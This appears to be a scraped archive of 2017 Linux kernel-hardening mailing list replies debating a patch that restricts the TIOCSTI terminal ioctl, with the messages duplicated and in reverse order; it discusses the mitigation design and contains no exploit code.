> differing-namespace then provide the code.
> 
> You can't just disable TIOCSTI, it has users deal with it. You can
> get away with disabling it for namespace crossing I think but if you do
> that you need to disable a pile of others.
> 
> (If it breaks containers blocking TIOCSTI then we need to have a good
> look at algorithms for deciding when to flush the input queue on exiting
> a container or somesuch)
> 
>> If you're talking about wholistic SELinux policy, sure, I could
>> imagine a wholistic fix. But for the tons of people without a
>> comprehensive SELinux policy, the proposed protection continues to
>> make sense.
> 
> No it doesn't. It's completely useless unless you actually bother to
> address the other exploit opportunities.
> 
> Right now the proposal is a hack to do 
> 
>   if (TIOCSTI && different_namespace && magic_flag)
> 


This is not what my patch does. Mine is like:

if (TIOCSTI && !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN) &&
magic_flag)

in other words:
if (TIOCSTI && (different_owner_user_ns || !CAP_SYS_ADMIN) &&
magic_flag)

can you specify what you mean by different_namespace? which namespace?

The reason I brought in the user namespace was to solve an edge case
with nested containers. capable() will never be true in a container, so
nested containers would break if we didn't do the ns_capable check. This
is also the reason for the addition of owner_user_ns to tty_struct.

The point of my patch is to prevent any type of tiocsti activity where
the tty is given to an unprivileged process/container. The emphasis of
my check is on the CAP_SYS_ADMIN part, not the namespace part.

> the proper solution is
> 
>   if (!whitelisted(ioctl) && different_namespace && magic_flag)
> 
> The former is snake oil, the latter actually deals with the problem space
> for namespaced stuff comprehensively and is only a tiny amount more code.
> 
> For non namespaced stuff it makes it no worse, if you don't allocate a
> pty/tty pair properly then the gods are not going to magically save you
> from on high sorry. And if you want to completely kill TIOCSTI even
> though it's kind of pointless you can 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 6/1/17 5:24 PM, Alan Cox wrote:
>> There's a difference between "bugs" and "security bugs". Letting
> 
> Not really, it's merely a matter of severity of result. A non security
> bug that hoses your hard disk is to anyone but security nutcases at
> least as bad as a security hole.
> 
>> security bugs continue to get exploited because we want to flush out
>> bugs seems insensitive to the people getting attacked. I'd rather
>> protect against a class of bug than have to endless fix each bug.
> 
> The others are security bugs too to varying degree
> 
>>> I'm not against doing something to protect the container folks, but that
>>> something as with Android is a whitelist of ioctls. And if we need to do
>>> this with a kernel hook lets do it properly.
>>>
>>> Remember the namespace of the tty on creation
>>> If the magic security flag is set then
>>> Apply a whitelist to *any* tty ioctl call where the ns doesn't
>>> match
>>>
>>> and we might as well just take the Android whitelist since they've kindly
>>> built it for us all!
>>>
>>> In the tty layer it ends up being something around 10 lines of code and
>>> some other file somewhere in security/ that's just a switch or similar
>>> with the whitelisted ioctl codes in it.
>>>
>>> That (or a similar SELinux ruleset) would actually fix the problem.
>>> SELinux would be better because it can also apply the rules when doing
>>> things like su/sudo/...  
>>
>> Just to play devil's advocate, wouldn't such a system continue to not
>> address your physical-console concerns? I wouldn't want to limit the
> 
> It would for the cases that a whitelist and container check covers -
> because the whitelist wouldn't allow you to do anything but boring stuff
> on the tty. TIOCSTI is just one of a whole range of differently stupid
> and annoying opportunities. Containers do not and should not be able to
> set the keymap, change the video mode, use console selection, make funny
> beepy noises, access video I/O registers and all the other stuff like
> that. Nothing is going to break if we have a fairly conservative
> whitelist.
> 
>> protection to only containers (but it's a good start), since it
>> wouldn't protect people not using containers that still have a
>> privileged TTY attached badly somewhere.
> 
> How are you going to magically fix the problem. I'm not opposed to fixing
> the real problem but right now it appears to be a product of wishful
> thinking not programming. What's the piece of security code that
> magically discerns the fact you are running something untrusted at the
> other end of your tty. SELinux can do it via labelling but I don't see
> any generic automatic way for the kernel to magically work out when to
> whitelist and when not to. If there is a better magic rule than
> differing-namespace then provide the code.
> 
> You can't just disable TIOCSTI, it has users deal with it. You can
> get away with disabling it for namespace crossing I think but if you do
> that you need to disable a pile of others.
> 
> (If it breaks containers blocking TIOCSTI then we need to have a good
> look at algorithms for deciding when to flush the input queue on exiting
> a container or somesuch)
> 
>> If you're talking about wholistic SELinux policy, sure, I could
>> imagine a wholistic fix. But for the tons of people without a
>> comprehensive SELinux policy, the proposed protection continues to
>> make sense.
> 
> No it doesn't. It's completely useless unless you actually bother to
> address the other exploit opportunities.
> 
> Right now the proposal is a hack to do 
> 
>   if (TIOCSTI && different_namespace && magic_flag)
> 


This is not what my patch does. Mine is like:

if (TIOCSTI && !ns_capable(tty->owner_user_ns, CAP_SYS_ADMIN) &&
magic_flag)

in other words:
if (TIOCSTI && (different_owner_user_ns || !CAP_SYS_ADMIN) &&
magic_flag)

can you specify what you mean by different_namespace? which namespace?

The reason I brought in the user namespace was to solve an edge case
with nested containers. capable() will never be true in a container, so
nested containers would break if we didn't do the ns_capable check. This
is also the reason for the addition of owner_user_ns to tty_struct.

The point of my patch is to prevent any type of tiocsti activity where
the tty is given to an unprivileged process/container. The emphasis of
my check is on the CAP_SYS_ADMIN part, not the namespace part.

> the proper solution is
> 
>   if (!whitelisted(ioctl) && different_namespace && magic_flag)
> 
> The former is snake oil, the latter actually deals with the problem space
> for namespaced stuff comprehensively and is only a tiny amount more code.
> 
> For non namespaced stuff it makes it no worse, if you don't allocate a
> pty/tty pair properly then the gods are not going to magically save you
> from on high sorry. And if you want to completely kill TIOCSTI even
> though it's kind of pointless you can 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/30/2017 10:48 PM, James Morris wrote:

On Mon, 29 May 2017, Boris Lukashev wrote:


With all due respect sir, i believe your review falls short of the
purpose of this effort - to harden the kernel against flaws in
userspace.


Which effort?  Kernel self protection is about protecting against flaws in
the kernel.

See:
https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project

  "This project starts with the premise that kernel bugs have a very long
   lifetime, and that the kernel must be designed in ways to protect against
   these flaws."

We need to avoid conflating:

- hardening the kernel against attack; and
- modifying the kernel to try and harden userspace.

These patches are the latter, and the case for them is not as
straightforward.


- James



I agree that these patches aren't kernel self protection and I don't
believe I have claimed they are such a thing. These patches I'm
presenting are more akin to ptrace protections that are found in Yama.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 05/30/2017 10:48 PM, James Morris wrote:

On Mon, 29 May 2017, Boris Lukashev wrote:


With all due respect sir, i believe your review falls short of the
purpose of this effort - to harden the kernel against flaws in
userspace.


Which effort?  Kernel self protection is about protecting against flaws in
the kernel.

See:
https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project

  "This project starts with the premise that kernel bugs have a very long
   lifetime, and that the kernel must be designed in ways to protect against
   these flaws."

We need to avoid conflating:

- hardening the kernel against attack; and
- modifying the kernel to try and harden userspace.

These patches are the latter, and the case for them is not as
straightforward.


- James



I agree that these patches aren't kernel self protection and I don't
believe I have claimed they are such a thing. These patches I'm
presenting are more akin to ptrace protections that are found in Yama.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 7:40 PM, Daniel Micay wrote:
> On Tue, 2017-05-30 at 19:00 -0400, Matt Brown wrote:
>> On 5/30/17 4:22 PM, Daniel Micay wrote:
>>>> Thanks, I didn't know that android was doing this. I still think
>>>> this
>>>> feature
>>>> is worthwhile for people to be able to harden their systems
>>>> against
>>>> this attack
>>>> vector without having to implement a MAC.
>>>
>>> Since there's a capable LSM hook for ioctl already, it means it
>>> could go
>>> in Yama with ptrace_scope but core kernel code would still need to
>>> be
>>> changed to track the owning tty. I think Yama vs. core kernel
>>> shouldn't
>>> matter much anymore due to stackable LSMs.
>>>
>>
>> What does everyone think about a v8 that moves this feature under Yama
>> and uses
>> the file_ioctl LSM hook?
> 
> It would only make a difference if it could be fully contained there, as
> in not depending on tracking the tty owner.
> 

For the reasons discussed earlier (to allow for nested containers where one of
the containers is privileged) we want to track the user namespace that owns the 
tty.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 7:40 PM, Daniel Micay wrote:
> On Tue, 2017-05-30 at 19:00 -0400, Matt Brown wrote:
>> On 5/30/17 4:22 PM, Daniel Micay wrote:
>>>> Thanks, I didn't know that android was doing this. I still think
>>>> this
>>>> feature
>>>> is worthwhile for people to be able to harden their systems
>>>> against
>>>> this attack
>>>> vector without having to implement a MAC.
>>>
>>> Since there's a capable LSM hook for ioctl already, it means it
>>> could go
>>> in Yama with ptrace_scope but core kernel code would still need to
>>> be
>>> changed to track the owning tty. I think Yama vs. core kernel
>>> shouldn't
>>> matter much anymore due to stackable LSMs.
>>>
>>
>> What does everyone think about a v8 that moves this feature under Yama
>> and uses
>> the file_ioctl LSM hook?
> 
> It would only make a difference if it could be fully contained there, as
> in not depending on tracking the tty owner.
> 

For the reasons discussed earlier (to allow for nested containers where one of
the containers is privileged) we want to track the user namespace that owns the 
tty.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 6:51 PM, Alan Cox wrote:
> On Tue, 30 May 2017 12:28:59 -0400
> Matt Brown <m...@nmatt.com> wrote:
> 
>> On 5/30/17 8:24 AM, Alan Cox wrote:
>>> Look there are two problems here
>>>
>>> 1. TIOCSTI has users  
>>
>> I don't see how this is a problem.
> 
> Which is unfortunate. To start with if it didn't have users we could just
> delete it.
> 
>>>
>>> 2. You don't actually fix anything
>>>
>>> The underlying problem is that if you give your tty handle to another
>>> process which you don't trust you are screwed. It's fundamental to the
>>> design of the Unix tty model and it's made worse in Linux by the fact
>>> that we use the tty descriptor to access all sorts of other console state
>>> (which makes a ton of sense).
>>>
>>> Many years ago a few people got this wrong. All those apps got fixes back
>>> then. They allocate a tty/pty pair and create a new session over that.
>>> The potentially hostile other app only gets to screw itself.
>>>   
>>
>> Many years ago? We already got one in 2017, as well as a bunch last year.
>> See: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti
> 
> All the apps got fixed at the time. The fact the next generation of
> forgot to learn from it is unfortunate but hardly new. Also every single
> one of those that exposes a tty in that way allows other annoying
> behaviours via other ioctl interfaces so none of them would have been
> properly mitigated.
> 

This is my point. Apps will continue to shoot themselves in the foot. Of course
the correct response to one of these vulns is to not pass ttys across a
security boundary. We have an opportunity here to reduce the impact of this bug
class at the kernel level. Rejecting this mitigation because the real solution
is to use a tty/pty pair is like saying we should reject ASLR because the real
solution to buffer overflows is proper bounds checking.

> If you really want to do that particular bit of snake oiling then you can
> use the existing SELinux, seccomp and related interfaces. They can even
> do the job properly by whitelisting or blocking long lists of ioctls.
> 
>> This protections seeks to protect users from programs that don't do things
>> correctly. Rather than killing bugs, this feature attempts to kill an entire
>> bug class that shows little sign of slowing down in the world of containers 
>> and
>> sandboxes.
> 
> Well maybe the people writing them need to learn what they are doing and
> stop passing random file descriptors into their container (I've even seen
> people handing X file handles into their 'container').
> 
> The kernel can do some things to help programmers but it can't stop
> people writing crap. Anyone writing code that crosses security boundaries
> should have at least a vague idea of what they are doing.
> 
> The only way you'd actually really prevent this would be to magically
> open a new pty/tty pair and substitute the file handlers plus a data
> copying thread when someone created a namespace.
> 
> Now you can actually do that with the ptrace functionality in seccomp but
> it would still be fairly insane to expect the kernel to handle.
> 
> Alan
> [Actually even more sensible would be to revert the entire sorry
> container mess and use VMs but it's a bit late for that ;-)]
> 

Totally agree. VMs >> Containers but the cat is out of the bag and we can't put
it back.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 6:51 PM, Alan Cox wrote:
> On Tue, 30 May 2017 12:28:59 -0400
> Matt Brown  wrote:
> 
>> On 5/30/17 8:24 AM, Alan Cox wrote:
>>> Look there are two problems here
>>>
>>> 1. TIOCSTI has users  
>>
>> I don't see how this is a problem.
> 
> Which is unfortunate. To start with if it didn't have users we could just
> delete it.
> 
>>>
>>> 2. You don't actually fix anything
>>>
>>> The underlying problem is that if you give your tty handle to another
>>> process which you don't trust you are screwed. It's fundamental to the
>>> design of the Unix tty model and it's made worse in Linux by the fact
>>> that we use the tty descriptor to access all sorts of other console state
>>> (which makes a ton of sense).
>>>
>>> Many years ago a few people got this wrong. All those apps got fixes back
>>> then. They allocate a tty/pty pair and create a new session over that.
>>> The potentially hostile other app only gets to screw itself.
>>>   
>>
>> Many years ago? We already got one in 2017, as well as a bunch last year.
>> See: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti
> 
> All the apps got fixed at the time. The fact the next generation of
> forgot to learn from it is unfortunate but hardly new. Also every single
> one of those that exposes a tty in that way allows other annoying
> behaviours via other ioctl interfaces so none of them would have been
> properly mitigated.
> 

This is my point. Apps will continue to shoot themselves in the foot. Of course
the correct response to one of these vulns is to not pass ttys across a
security boundary. We have an opportunity here to reduce the impact of this bug
class at the kernel level. Rejecting this mitigation because the real solution
is to use a tty/pty pair is like saying we should reject ASLR because the real
solution to buffer overflows is proper bounds checking.

> If you really want to do that particular bit of snake oiling then you can
> use the existing SELinux, seccomp and related interfaces. They can even
> do the job properly by whitelisting or blocking long lists of ioctls.
> 
>> This protections seeks to protect users from programs that don't do things
>> correctly. Rather than killing bugs, this feature attempts to kill an entire
>> bug class that shows little sign of slowing down in the world of containers 
>> and
>> sandboxes.
> 
> Well maybe the people writing them need to learn what they are doing and
> stop passing random file descriptors into their container (I've even seen
> people handing X file handles into their 'container').
> 
> The kernel can do some things to help programmers but it can't stop
> people writing crap. Anyone writing code that crosses security boundaries
> should have at least a vague idea of what they are doing.
> 
> The only way you'd actually really prevent this would be to magically
> open a new pty/tty pair and substitute the file handlers plus a data
> copying thread when someone created a namespace.
> 
> Now you can actually do that with the ptrace functionality in seccomp but
> it would still be fairly insane to expect the kernel to handle.
> 
> Alan
> [Actually even more sensible would be to revert the entire sorry
> container mess and use VMs but it's a bit late for that ;-)]
> 

Totally agree. VMs >> Containers but the cat is out of the bag and we can't put
it back.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 4:22 PM, Daniel Micay wrote:
>> Thanks, I didn't know that android was doing this. I still think this
>> feature
>> is worthwhile for people to be able to harden their systems against
>> this attack
>> vector without having to implement a MAC.
> 
> Since there's a capable LSM hook for ioctl already, it means it could go
> in Yama with ptrace_scope but core kernel code would still need to be
> changed to track the owning tty. I think Yama vs. core kernel shouldn't
> matter much anymore due to stackable LSMs.
> 

What does everyone think about a v8 that moves this feature under Yama and uses
the file_ioctl LSM hook?

> Not the case for perf_event_paranoid=3 where a) there's already a sysctl
> exposed which would be unfortunate to duplicate, b) there isn't an LSM
> hook yet (AFAIK).
> 
> The toggles for ptrace and perf events are more useful though since
> they're very commonly used debugging features vs. this obscure, rarely
> used ioctl that in practice no one will notice is missing. It's still
> friendlier to have a toggle than a seccomp policy requiring a reboot to
> get rid of it, or worse compiling it out of the kernel.
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 4:22 PM, Daniel Micay wrote:
>> Thanks, I didn't know that android was doing this. I still think this
>> feature
>> is worthwhile for people to be able to harden their systems against
>> this attack
>> vector without having to implement a MAC.
> 
> Since there's a capable LSM hook for ioctl already, it means it could go
> in Yama with ptrace_scope but core kernel code would still need to be
> changed to track the owning tty. I think Yama vs. core kernel shouldn't
> matter much anymore due to stackable LSMs.
> 

What does everyone think about a v8 that moves this feature under Yama and uses
the file_ioctl LSM hook?

> Not the case for perf_event_paranoid=3 where a) there's already a sysctl
> exposed which would be unfortunate to duplicate, b) there isn't an LSM
> hook yet (AFAIK).
> 
> The toggles for ptrace and perf events are more useful though since
> they're very commonly used debugging features vs. this obscure, rarely
> used ioctl that in practice no one will notice is missing. It's still
> friendlier to have a toggle than a seccomp policy requiring a reboot to
> get rid of it, or worse compiling it out of the kernel.
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 2:44 PM, Nick Kralevich wrote:
> On Tue, May 30, 2017 at 11:32 AM, Stephen Smalley  wrote:
>>> Seccomp requires the program in question to "opt-in" so to speak and
>>> set
>>> certain restrictions on itself. However as you state above, any
>>> TIOCSTI
>>> protection doesn't matter if the program correctly allocates a
>>> tty/pty pair.
>>> This protections seeks to protect users from programs that don't do
>>> things
>>> correctly. Rather than killing bugs, this feature attempts to kill an
>>> entire
>>> bug class that shows little sign of slowing down in the world of
>>> containers and
>>> sandboxes.
>>
>> Just FYI, you can also restrict TIOCSTI (or any other ioctl command)
>> via SELinux ioctl whitelisting, and Android is using that feature to
>> restrict TIOCSTI usage in Android O (at least based on the developer
>> previews to date, also in AOSP master).
> 
> For reference, this is https://android-review.googlesource.com/306278
> , where we moved to a whitelist for handling ioctls for ptys.
> 
> -- Nick
> 

Thanks, I didn't know that android was doing this. I still think this feature
is worthwhile for people to be able to harden their systems against this attack
vector without having to implement a MAC.

Matt

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 2:44 PM, Nick Kralevich wrote:
> On Tue, May 30, 2017 at 11:32 AM, Stephen Smalley  wrote:
>>> Seccomp requires the program in question to "opt-in" so to speak and
>>> set
>>> certain restrictions on itself. However as you state above, any
>>> TIOCSTI
>>> protection doesn't matter if the program correctly allocates a
>>> tty/pty pair.
>>> This protections seeks to protect users from programs that don't do
>>> things
>>> correctly. Rather than killing bugs, this feature attempts to kill an
>>> entire
>>> bug class that shows little sign of slowing down in the world of
>>> containers and
>>> sandboxes.
>>
>> Just FYI, you can also restrict TIOCSTI (or any other ioctl command)
>> via SELinux ioctl whitelisting, and Android is using that feature to
>> restrict TIOCSTI usage in Android O (at least based on the developer
>> previews to date, also in AOSP master).
> 
> For reference, this is https://android-review.googlesource.com/306278
> , where we moved to a whitelist for handling ioctls for ptys.
> 
> -- Nick
> 

Thanks, I didn't know that android was doing this. I still think this feature
is worthwhile for people to be able to harden their systems against this attack
vector without having to implement a MAC.

Matt

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 8:24 AM, Alan Cox wrote:
> Look there are two problems here
> 
> 1. TIOCSTI has users

I don't see how this is a problem.

> 
> 2. You don't actually fix anything
> 
> The underlying problem is that if you give your tty handle to another
> process which you don't trust you are screwed. It's fundamental to the
> design of the Unix tty model and it's made worse in Linux by the fact
> that we use the tty descriptor to access all sorts of other console state
> (which makes a ton of sense).
> 
> Many years ago a few people got this wrong. All those apps got fixes back
> then. They allocate a tty/pty pair and create a new session over that.
> The potentially hostile other app only gets to screw itself.
> 

Many years ago? We already got one in 2017, as well as a bunch last year.
See: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

> If it was only about TIOCSTI then your patch would still not make sense
> because you could use on of the existing LSMs to actually write yourself
> some rules about who can and can't use TIOCSTI. For that matter you can
> even use the seccomp feature today to do this without touching your
> kernel because the ioctl number is a value so you can just block ioctl
> with argument 2 of TIOCSTI.
> 

Seccomp requires the program in question to "opt-in" so to speak and set
certain restrictions on itself. However as you state above, any TIOCSTI
protection doesn't matter if the program correctly allocates a tty/pty pair.
This protections seeks to protect users from programs that don't do things
correctly. Rather than killing bugs, this feature attempts to kill an entire
bug class that shows little sign of slowing down in the world of containers and
sandboxes.

> So please explain why we need an obscure kernel config option that normal
> users will not understand which protects against nothing and can be
> done already ?
> 
> Alan
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 8:24 AM, Alan Cox wrote:
> Look there are two problems here
> 
> 1. TIOCSTI has users

I don't see how this is a problem.

> 
> 2. You don't actually fix anything
> 
> The underlying problem is that if you give your tty handle to another
> process which you don't trust you are screwed. It's fundamental to the
> design of the Unix tty model and it's made worse in Linux by the fact
> that we use the tty descriptor to access all sorts of other console state
> (which makes a ton of sense).
> 
> Many years ago a few people got this wrong. All those apps got fixes back
> then. They allocate a tty/pty pair and create a new session over that.
> The potentially hostile other app only gets to screw itself.
> 

Many years ago? We already got one in 2017, as well as a bunch last year.
See: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=tiocsti

> If it was only about TIOCSTI then your patch would still not make sense
> because you could use on of the existing LSMs to actually write yourself
> some rules about who can and can't use TIOCSTI. For that matter you can
> even use the seccomp feature today to do this without touching your
> kernel because the ioctl number is a value so you can just block ioctl
> with argument 2 of TIOCSTI.
> 

Seccomp requires the program in question to "opt-in" so to speak and set
certain restrictions on itself. However as you state above, any TIOCSTI
protection doesn't matter if the program correctly allocates a tty/pty pair.
This protections seeks to protect users from programs that don't do things
correctly. Rather than killing bugs, this feature attempts to kill an entire
bug class that shows little sign of slowing down in the world of containers and
sandboxes.

> So please explain why we need an obscure kernel config option that normal
> users will not understand which protects against nothing and can be
> done already ?
> 
> Alan
> 

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 11:20 AM, Casey Schaufler wrote:
> On 5/29/2017 8:18 PM, Matt Brown wrote:
>> On 5/29/17 10:46 PM, Casey Schaufler wrote:
>>> On 5/29/2017 7:00 PM, Matt Brown wrote:
>>>> Casey Schaufler,
>>>>
>>>> First I must start this off by saying I really appreciate your 
>>>> presentation on
>>>> LSMs that is up on youtube. I've got a LSM in the works and your talk has
>>>> helped me a bunch.
>>> Thank you. Feedback (especially positive) is always appreciated.
>>>
>>>> On 5/29/17 8:27 PM, Casey Schaufler wrote:
>>>>> On 5/29/2017 4:51 PM, Boris Lukashev wrote:
>>>>>> With all due respect sir, i believe your review falls short of the
>>>>>> purpose of this effort - to harden the kernel against flaws in
>>>>>> userspace. Comments along the line of "if  does it right
>>>>>> then your patch is pointless" are not relevant to the context of
>>>>>> securing kernel functions/interfaces. What userspace should do has
>>>>>> little bearing on defensive measures actually implemented in the
>>>>>> kernel - if we took the approach of "someone else is responsible for
>>>>>> that" in military operations, the world would be a much darker and
>>>>>> different place today. Those who have the luxury of standoff from the
>>>>>> critical impacts of security vulnerabilities may not take into account
>>>>>> the fact that peoples lives literally depend on Linux getting a lot
>>>>>> more secure, and quickly.
>>>>> You are not going to help anyone with a kernel configuration that
>>>>> breaks agetty, csh, xemacs and tcsh. The opportunities for using
>>>>> such a configuration are limited.
>>>> This patch does not break these programs as you imply. 99% of users of 
>>>> these
>>>> programs will not be effected. Its not like the TIOCSTI ioctl is a critical
>>>> part of these programs.
>>> Most likely not.
>>>
>>>> Also as I've stated elsewhere, this is not breaking userspace because this
>>>> Kconfig/sysctl defaults to n. If someone is using the programs listed 
>>>> above in
>>>> a way that does utilize an unprivileged call to the TIOCSTI ioctl, they can
>>>> turn this feature off.
>>> Default "off" does not mean it doesn't break userspace. It means that it 
>>> might
>>> not break userspace in your environment. Or it might, depending on the whim 
>>> of
>>> the build tool of the day.
>>>
>> By this logic, it seems like any introduced feature which toggles some 
>> security
>> feature could be seen as "breaking userspace." For example:
>>
>> 1. Let there exist a LSM X that is set to "off" by default.
>>  (let's say its a simpler type of MAC ;)
> 
> You picked a bad example ...
> 
>> 2. There exists an inexperienced user Bob that toggles X to "on".
> 
> ... which is easy enough, however ...
> 
>> 3. Bob complains that X has broken userspace because he now cannot access his
>> SSH key from firefox.
> 
> ... that's not going to happen. Because the LSM you're referring to requires
> additional configuration to "break" userspace. That, by the way, was a 
> conscious
> design choice. Now, I realize that's not the case for some other security 
> modules,
> but they have things like "permissive mode" to make it easy on accident prone 
> Bob.
> 
> The analogy, while obvious, is invalid.

So I may have been a bit sarcastic with my analogy, but my point is that it
seems like your definition of "breaking userspace" is too broad and could lead
to things getting labeled as breaking userspace that clearly are not.

> 
>> build tool's will always have important impacts on a system based on the 
>> config
>> that is used.
>>
>> My understanding of the "don't break userspace" rule has always been to not
>> change existing, userspace facing, APIs/ioctls/system calls/etc. I don't
>> believe that my patch does this.
>>
>>>>>> If this work were not valuable, it wouldnt be an enabled kernel option
>>>>>> on a massive number of kernels with attack surfaces reduced by the
>>>>>> compound protections offered by the grsec patch set.
>>>>> I'll bet you a beverage that 99-44/100% of the people who have
>>>>> this enabled have no clue that it's even t

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/30/17 11:20 AM, Casey Schaufler wrote:
> On 5/29/2017 8:18 PM, Matt Brown wrote:
>> On 5/29/17 10:46 PM, Casey Schaufler wrote:
>>> On 5/29/2017 7:00 PM, Matt Brown wrote:
>>>> Casey Schaufler,
>>>>
>>>> First I must start this off by saying I really appreciate your 
>>>> presentation on
>>>> LSMs that is up on youtube. I've got a LSM in the works and your talk has
>>>> helped me a bunch.
>>> Thank you. Feedback (especially positive) is always appreciated.
>>>
>>>> On 5/29/17 8:27 PM, Casey Schaufler wrote:
>>>>> On 5/29/2017 4:51 PM, Boris Lukashev wrote:
>>>>>> With all due respect sir, i believe your review falls short of the
>>>>>> purpose of this effort - to harden the kernel against flaws in
>>>>>> userspace. Comments along the line of "if  does it right
>>>>>> then your patch is pointless" are not relevant to the context of
>>>>>> securing kernel functions/interfaces. What userspace should do has
>>>>>> little bearing on defensive measures actually implemented in the
>>>>>> kernel - if we took the approach of "someone else is responsible for
>>>>>> that" in military operations, the world would be a much darker and
>>>>>> different place today. Those who have the luxury of standoff from the
>>>>>> critical impacts of security vulnerabilities may not take into account
>>>>>> the fact that peoples lives literally depend on Linux getting a lot
>>>>>> more secure, and quickly.
>>>>> You are not going to help anyone with a kernel configuration that
>>>>> breaks agetty, csh, xemacs and tcsh. The opportunities for using
>>>>> such a configuration are limited.
>>>> This patch does not break these programs as you imply. 99% of users of 
>>>> these
>>>> programs will not be effected. Its not like the TIOCSTI ioctl is a critical
>>>> part of these programs.
>>> Most likely not.
>>>
>>>> Also as I've stated elsewhere, this is not breaking userspace because this
>>>> Kconfig/sysctl defaults to n. If someone is using the programs listed 
>>>> above in
>>>> a way that does utilize an unprivileged call to the TIOCSTI ioctl, they can
>>>> turn this feature off.
>>> Default "off" does not mean it doesn't break userspace. It means that it 
>>> might
>>> not break userspace in your environment. Or it might, depending on the whim 
>>> of
>>> the build tool of the day.
>>>
>> By this logic, it seems like any introduced feature which toggles some 
>> security
>> feature could be seen as "breaking userspace." For example:
>>
>> 1. Let there exist a LSM X that is set to "off" by default.
>>  (let's say its a simpler type of MAC ;)
> 
> You picked a bad example ...
> 
>> 2. There exists an inexperienced user Bob that toggles X to "on".
> 
> ... which is easy enough, however ...
> 
>> 3. Bob complains that X has broken userspace because he now cannot access his
>> SSH key from firefox.
> 
> ... that's not going to happen. Because the LSM you're referring to requires
> additional configuration to "break" userspace. That, by the way, was a 
> conscious
> design choice. Now, I realize that's not the case for some other security 
> modules,
> but they have things like "permissive mode" to make it easy on accident prone 
> Bob.
> 
> The analogy, while obvious, is invalid.

So I may have been a bit sarcastic with my analogy, but my point is that it
seems like your definition of "breaking userspace" is too broad and could lead
to things getting labeled as breaking userspace that clearly are not.

> 
>> build tool's will always have important impacts on a system based on the 
>> config
>> that is used.
>>
>> My understanding of the "don't break userspace" rule has always been to not
>> change existing, userspace facing, APIs/ioctls/system calls/etc. I don't
>> believe that my patch does this.
>>
>>>>>> If this work were not valuable, it wouldnt be an enabled kernel option
>>>>>> on a massive number of kernels with attack surfaces reduced by the
>>>>>> compound protections offered by the grsec patch set.
>>>>> I'll bet you a beverage that 99-44/100% of the people who have
>>>>> this enabled have no clue that it's even t

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 5/29/17 10:46 PM, Casey Schaufler wrote:
> On 5/29/2017 7:00 PM, Matt Brown wrote:
>> Casey Schaufler,
>>
>> First I must start this off by saying I really appreciate your presentation 
>> on
>> LSMs that is up on youtube. I've got a LSM in the works and your talk has
>> helped me a bunch.
> 
> Thank you. Feedback (especially positive) is always appreciated.
> 
>>
>> On 5/29/17 8:27 PM, Casey Schaufler wrote:
>>> On 5/29/2017 4:51 PM, Boris Lukashev wrote:
>>>> With all due respect sir, i believe your review falls short of the
>>>> purpose of this effort - to harden the kernel against flaws in
>>>> userspace. Comments along the line of "if  does it right
>>>> then your patch is pointless" are not relevant to the context of
>>>> securing kernel functions/interfaces. What userspace should do has
>>>> little bearing on defensive measures actually implemented in the
>>>> kernel - if we took the approach of "someone else is responsible for
>>>> that" in military operations, the world would be a much darker and
>>>> different place today. Those who have the luxury of standoff from the
>>>> critical impacts of security vulnerabilities may not take into account
>>>> the fact that peoples lives literally depend on Linux getting a lot
>>>> more secure, and quickly.
>>> You are not going to help anyone with a kernel configuration that
>>> breaks agetty, csh, xemacs and tcsh. The opportunities for using
>>> such a configuration are limited.
>> This patch does not break these programs as you imply. 99% of users of these
>> programs will not be effected. Its not like the TIOCSTI ioctl is a critical
>> part of these programs.
> 
> Most likely not.
> 
>>
>> Also as I've stated elsewhere, this is not breaking userspace because this
>> Kconfig/sysctl defaults to n. If someone is using the programs listed above 
>> in
>> a way that does utilize an unprivileged call to the TIOCSTI ioctl, they can
>> turn this feature off.
> 
> Default "off" does not mean it doesn't break userspace. It means that it might
> not break userspace in your environment. Or it might, depending on the whim of
> the build tool of the day.
> 

By this logic, it seems like any introduced feature which toggles some security
feature could be seen as "breaking userspace." For example:

